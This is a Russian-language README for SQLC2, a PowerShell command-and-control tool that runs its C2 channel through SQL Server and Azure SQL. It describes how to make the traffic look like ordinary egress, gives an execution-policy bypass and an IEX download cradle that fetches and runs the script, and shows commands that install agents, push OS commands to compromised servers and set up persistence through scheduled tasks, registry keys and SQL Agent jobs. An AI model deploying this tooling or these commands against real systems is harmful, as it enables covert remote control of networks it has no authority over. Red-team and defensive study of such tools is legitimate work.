
SQLC2 is a PowerShell script for deploying and managing a command and control system that uses SQL Server as both the control server and the agent.
SQLC2 — это скрипт PowerShell для развертывания и управления системой управления и контроля (C2), которая использует SQL Server как в качестве сервера управления, так и в качестве агента. По сути, SQLC2 — это просто скрипт PowerShell, скрипт TSQL и несколько таблиц в экземпляре SQL Server, которые отслеживают агенты, команды и результаты. Ничего сверхсложного, но это может оказаться полезным в некоторых задачах.
Для более полного обзора SQLC2 посетите блог по адресу https://blog.netspi.com/databases-and-clouds-sql-server-as-a-c2/.
Все больше компаний начинают использовать базы данных Azure SQL. Когда такие экземпляры Azure SQL создаются, они становятся доступными через поддомен database.windows.net на порту 1433. Например, можно создать экземпляр SQL Server с именем "mysupersqlserver.database.windows.net". В результате некоторые корпоративные сетевые конфигурации разрешают исходящий доступ в интернет к любому поддомену "database.windows.net" на порту 1433.
Основная идея в том, что по мере роста использования Azure SQL Server появится больше возможностей использовать SQL Server в качестве канала управления, который выглядит похожим на обычный трафик. SQLPS — это довольно простая концептуальная реализация, но, думаю, она достаточно функциональна, чтобы проиллюстрировать идею. Я знаю, что можно сделать много улучшений, но если вы решите поиграть с ней, буду рад вашим отзывам.
Хотя акцент сделан на использовании SQLC2 с экземплярами Azure SQL Server, вы можете разместить собственный SQL Server в любой облачной среде и настроить его прослушивание на порту 443 с включенным SSL. Так что это может предоставить немного больше гибкости в зависимости от того, сколько усилий вы готовы вложить.
Вариант 1: Загрузите скрипт и импортируйте его. Для этого не требуются права администратора, и он будет импортирован только в текущий сеанс. Однако он может быть заблокирован ограничительными политиками выполнения, поэтому, возможно, вам захочется использовать опцию bypass.
Set-ExecutionPolicy Bypass -Scope Process
Import-Module SQLC2.ps1
Вариант 2: Загрузите его в сеанс через скачиваемый "cradle". Для этого не требуются права администратора, и он будет импортирован только в текущий сеанс. Он не должен блокироваться политиками выполнения.
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/SQLC2/master/SQLC2.ps1")
Примечание: Чтобы запустить от имени другого доменного пользователя, сначала запустите PowerShell с помощью команды runas.
runas /noprofile /netonly /user:domain\user PowerShell.exe

Ниже приведен список функций пользователя, поддерживающих предполагаемые рабочие процессы.
Ниже приведены несколько примеров скриншотов.
Установка сервера SQLC2 (создание таблиц):
Install-SQLC2Server -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Установка агента SQLC2 (задание агента SQL Server, использующее серверную ссылку):
Install-SQLC2AgentPs -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Просмотр агентов SQLC2:
Get-SQLC2Agent -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Установка команды для выполнения на агенте:
Set-SQLC2Command -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!' -Command "Whoami" -ServerName MSSQLSRV04

Получение результатов команды:
Get-SQLC2Result -Verbose -ServerName "MSSQLSRV04" -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

| Имя функции | Описание |
|---|
| Install-SQLC2Server | Установка таблиц SQLC2 на целевом SQL Server/базе данных. |
| Install-SQLC2AgentPs | Установка агента, использующего задание агента SQL Server и серверную ссылку. |
| Install-SQLC2AgentLink | Установка агента, использующего запланированное задание или ключ реестра для выполнения команд PowerShell. |
| Set-SQLC2Command | Установка команд операционной системы для выполнения агентами. |
| Get-SQLC2Command | Получение списка ожидающих команд ОС от C2 для агента. Также может выполнить ожидающую команду с флагом -Execute. |
| Get-SQLC2Agent | Получение списка агентов, зарегистрированных на сервере SQLC2. |
| Get-SQLC2Result | Получение списка ожидающих и выполненных команд. Поддерживает фильтры по имени сервера, статусу и cid. |
| Remove-SQLC2Agent | Удаление агентов, зарегистрированных на SQLC2. Просто очищает историю. |
| Remove-SQLC2Command | Удаление истории команд на сервере SQLC2. |
| Uninstall-SQLC2AgentLink | Удаление агента SQLC2, использующего серверные ссылки и задание агента. |
| Uninstall-SQLC2AgentPs | Удаление всех методов сохранения, основанных на операционной системе. |
| Uninstall-SQLC2Server | Удаление таблиц SQLC2 из целевой базы данных. |